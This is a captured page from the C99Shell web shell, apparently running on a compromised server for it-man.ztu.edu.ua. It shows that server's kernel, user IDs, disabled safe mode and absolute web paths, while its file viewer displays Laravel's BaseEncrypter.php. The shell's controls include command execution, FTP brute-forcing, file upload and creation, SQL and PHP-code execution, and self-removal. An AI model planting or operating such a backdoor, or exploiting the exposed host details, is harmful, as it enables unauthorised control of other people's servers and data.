!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Encryption/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BaseEncrypter.php (2.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Encryption;

use 
Illuminate\Contracts\Encryption\DecryptException;

abstract class 
BaseEncrypter
{
    
/**
     * The encryption key.
     *
     * @var string
     */
    
protected $key;

    
/**
     * Create a MAC for the given value.
     *
     * @param  string  $iv
     * @param  string  $value
     * @return string
     */
    
protected function hash($iv$value)
    {
        return 
hash_hmac('sha256'$iv.$value$this->key);
    }

    
/**
     * Get the JSON array from the given payload.
     *
     * @param  string  $payload
     * @return array
     *
     * @throws \Illuminate\Contracts\Encryption\DecryptException
     */
    
protected function getJsonPayload($payload)
    {
        
$payload json_decode(base64_decode($payload), true);

        
// If the payload is not valid JSON or does not have the proper keys set we will
        // assume it is invalid and bail out of the routine since we will not be able
        // to decrypt the given value. We'll also check the MAC for this encryption.
        
if (! $payload || $this->invalidPayload($payload)) {
            throw new 
DecryptException('The payload is invalid.');
        }

        if (! 
$this->validMac($payload)) {
            throw new 
DecryptException('The MAC is invalid.');
        }

        return 
$payload;
    }

    
/**
     * Verify that the encryption payload is valid.
     *
     * @param  array|mixed  $data
     * @return bool
     */
    
protected function invalidPayload($data)
    {
        return ! 
is_array($data) || ! isset($data['iv']) || ! isset($data['value']) || ! isset($data['mac']);
    }

    
/**
     * Determine if the MAC for the given payload is valid.
     *
     * @param  array  $payload
     * @return bool
     *
     * @throws \RuntimeException
     */
    
protected function validMac(array $payload)
    {
        
$bytes random_bytes(16);

        
$calcMac hash_hmac('sha256'$this->hash($payload['iv'], $payload['value']), $bytestrue);

        return 
hash_equals(hash_hmac('sha256'$payload['mac'], $bytestrue), $calcMac);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0084 ]--